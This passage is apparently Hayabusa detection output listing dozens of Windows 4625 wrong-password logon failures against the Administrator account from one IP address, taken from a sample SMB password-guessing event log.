NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.216 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nwRzAutxa07Y1xE4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OwhvrVBSRa8RcCKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bLBwBys2favoK7BQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.335 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3oYpj1rGcsOWNSs7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IBogtzE6No62tJB9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQJICDi3T4LiwXZc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hnlKkfHYT0ID3BWr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.510 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gw36XaWrYp2M9CZd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9aT76CAAER0H98I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TEOZfrP3IYmutAuq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zd54DAwwp0BJhhaZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.665 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AR6Gc128RlPtwcPl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.713 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cpjS1YZy2sSRqzI3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.756 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EKeate89Gw1oEp0U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tBhApsBYa65Hxr0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.894 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ITv5RS3WHhWe0Hez : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WASvcAp9zfU3uSka : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H1f6szOactEp5ntF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Loe5RkT9Ki0Aw2Lv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJdVtE7dNSoyM3LI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QlAtU1mIO7m5DnuP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wAK2rh94yKwiH2Nw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AuqsvmUbPlpWFBRZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BShEB6VnXkOxwtFB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AjAc5QMvpTBsDziO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fwwp5CD20dR8QrIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tL6GzVzndZL7DZMN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.371 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zK5IpESvDA2DexwL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.404 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qvTyabCyGaxscOrN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FW8VghddPwP5C6dO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xGZuyZ0LErZ3Sgty : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.515 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bT1xrvfndr5R8Vg3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H6RFTZVJE9remzqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.599 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pzjwzORvTwuBPLEs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.644 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UMjSFfZ88BV2sT1F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.681 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SnpCLI2EJZRhr3vz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ztEU2m9SwbqgSdVY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MHO1X0zwmoWotcM4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ck429g2Cs4siVVq4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.835 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9txH9zA3oY885iTi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: alIIEzE2rTrNtOtr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ww4BXLwhaNxOttgo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GPdz2pjDocMWqctT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QOm1i2a20IDNmIu4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ukSrSu516dHlHQ94 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: grdERCipFl1FMB1o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmpuUsIRbp57KCRD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VWLuqrOQSQuqcwUr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eEASOf84AX8ow4vf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IcgNTGlESh6FytEY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.302 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OeVo7D3oBsdUMHfj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mLqSB2yGMksaBgUS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y7qRzzpL2YhfIGSD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvE5tMw3MjDhA0Fe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.488 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aXuNgOkIzvKIuJki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q8vPHEXrxVpUyKZq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.581 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vk7sh6VM7AZQv2in : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.627 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jurt5hAg90y1VWdT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MlrPbTbJRTxFakiv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RQ5cWmYL8weCCRT0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k0v2Emgn7BD1STZl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MJppWxAiNJ4D0s2U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zHVcJEec3y6v9gIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 68RKE5dS8X5Px2gR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.010 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Np8mTqhr7QasXk1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MhpDNDIPVyRlfej8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.118 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qZtmxGeLj25VSUcm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SPN8w8WghBYzChZc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.205 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 36hmbCuKxF9Dt4vR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TALpRirdvB9a8y6M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wvEvwFeXGOgycZvA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ppxeOgZNua2Ieuc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.387 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n4U5XdQu1YtSat7J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.438 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MN0OfYE6vPgqyyZN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.494 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmfCPIdiTH9gG2qZ : IP Address: 192.168.198.149 : AuthPackage: 